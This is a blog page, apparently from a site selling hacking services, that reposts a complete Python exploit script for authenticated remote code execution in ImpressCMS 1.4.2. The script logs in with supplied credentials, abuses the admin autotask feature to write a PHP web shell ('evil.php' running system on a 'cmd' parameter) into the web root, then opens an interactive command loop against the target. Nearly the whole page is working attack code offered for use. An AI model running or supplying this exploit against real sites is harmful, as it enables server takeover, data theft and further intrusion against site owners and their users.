Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863559871

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.impresscms.org/
# Software Link: https://www.impresscms.org/modules/downloads/
# Version: 1.4.2
# Category: Webapps
# Tested on: Linux/Windows

# ImpressCMS is a multilingual content management system for the web
# Contains an endpoint that allows remote access
# Autotask page misconfigured, causing security vulnerability



# Example: python3 exploit.py -u http://example.com -l admin -p Admin123

import requests
import argparse
import sys
from time import sleep

session = requests.session()

def main():
	parser = argparse.ArgumentParser(description='Impresscms Version 1.4.2 - Remote Code Execution (Authenticated)')
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=True)
	parser.add_argument('-p', '--password', type=str, required=True)
	args = parser.parse_args()
	print("\nImpresscms Version 1.4.2 - Remote Code Execution (Authenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	exploit(args)

def countdown(time_sec):
    while time_sec:
        mins, secs = divmod(time_sec, 60)
        timeformat = '{:02d}'.format(secs)
        print("["+timeformat+"] The task is expected to run!", end='\r')
        sleep(1)
        time_sec -= 1

def exploit(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)
	else:
		print("\n[?] Check Adress...\n")
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)

	try:
		response = requests.get(args.host)
		if response.status_code != 200:
			print("[-] Address not reachable!")
			sleep(2)
			exit(1)
	except requests.ConnectionError as exception:
		print("[-] Address not reachable")
		exit(1)


	response = requests.get(args.host + "/evil.php")
	if response.status_code == 200:
		print("[*] Exploit file exists!\n")
		sleep(2)
		print("[+] Exploit Done!\n")

		while True:
			cmd = input("$ ")
			url = args.host + "/evil.php?cmd=" + cmd
			headers = {
				"Upgrade-Insecure-Requests": "1",
				"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
			}

			response = requests.post(url, headers=headers, timeout=5)

			if response.text == "":
				print(cmd + ": command not found\n")
			else:
				print(response.text)

	else:
		#Login and set cookie
		url = args.host + "/user.php"
		cookies = {
			"ICMSSESSION": "gjj2svl7qjqorj5rs87b6thmi5"
		}

		headers = {
			"Cache-Control": "max-age=0",
			"Upgrade-Insecure-Requests": "1",
			"Origin": args.host,
			"Content-Type": "application/x-www-form-urlencoded",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host,
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "en-US,en;q=0.9",
			"Connection": "close"
		}

		data = {
			"uname": args.login,
			"pass": args.password,
			"xoops_redirect": "/",
			"op": "login"
		}

		response = session.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
		new_cookies = session.cookies.get("ICMSSESSION")

		if (new_cookies is None):
			print("[-] Login Failed...\n")
			print("Your username or password is incorrect.")
			sleep(2)
			exit(1)
		else:
			print("[+] Success Login...\n")
			sleep(2)

			# Create Tasks
			url = args.host + "/modules/system/admin.php?fct=autotasks&op=mod"
			cookies = {
			    "ICMSSESSION": new_cookies
			}

			headers = {
			    "Cache-Control": "max-age=0",
			    "Upgrade-Insecure-Requests": "1",
			    "Origin": args.host,
			    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZ2hA91yNO8FWPZmk",
			    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			    "Referer": args.host + "/modules/system/admin.php?fct=autotasks&op=mod",
			    "Accept-Encoding": "gzip, deflate",
			    "Accept-Language": "en-US,en;q=0.9",
			    "Connection": "close"
			}

			data = "------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_id\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_lastruntime\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_name\"\r\n\r\nrce\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_code\"\r\n\r\nfile_put_contents('../evil.php', \"<?php system(\\x24_GET['cmd']); ?>\");\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_repeat\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_interval\"\r\n\r\n0001\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_onfinish\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_enabled\"\r\n\r\n1\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_type\"\r\n\r\n:custom\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_addon_id\"\r\n\r\n\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"icms_page_before_form\"\r\n\r\n"+args.host+"/modules/system/admin.php?fct=autotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\naddautotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"modify_button\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk--\r\n"
			response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)

			if response.headers.get("location") == args.host + "/modules/system/admin.php?fct=autotasks":
				print("[*] Task Create.\n")
				sleep(2)

				countdown(60)

				print("\n\n[+] Exploit Done!\n")
				sleep(2)

				while True:
					cmd = input("$ ")
					url = args.host + "/evil.php?cmd=" + cmd
					headers = {
						"Upgrade-Insecure-Requests": "1",
						"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
					}

					response = requests.post(url, headers=headers, timeout=5)
					if response.text == "":
						print(cmd + ": command not found\n")
					else:
						print(response.text)
			elif response.headers.get("location") == args.host + "/user.php":
				print("[!] Unauthorized user!\n\n")
				print("Requires user with create task permissions.")
				sleep(2)
			else:
				pass


if __name__ == '__main__':
	main()